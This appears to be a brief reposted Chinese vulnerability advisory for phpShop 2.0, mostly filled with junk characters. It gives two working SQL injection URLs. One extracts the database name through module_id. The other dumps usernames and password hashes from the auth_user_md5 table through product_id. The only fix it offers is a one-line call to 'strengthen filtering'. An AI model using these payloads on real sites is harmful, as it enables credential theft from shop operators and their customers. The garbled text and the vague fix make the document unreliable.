phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
5 b. K& G8 d/ d0 L5 O( W
作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
/ {* H6 b! L1 Q7 ^  \测试地址: windows 7 / ubuntu
- U0 y- X# p2 U6 V) i
* y% s5 v5 U7 }4 \; d
1 C( u0 n2 U4 ^7 R1 OSQLi p0c:
7 i0 I! w% P: [7 H- C
* X# P7 d9 g4 G; e+ s; _==================
# r! K8 F' V) d
6 e& i4 X* y: C! e. z. A. e8 Rhttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
3 A# ]& z+ b& Q1 `. [union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
. e! m& j+ v$ N9 y
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

3 r/ ~7 H: |) x! C; r% C% m6 e修复：
) c1 N2 a9 L: L4 n加强过滤
​
4 `$ l& m0 }) Y$ a4 W4 F6 s9 e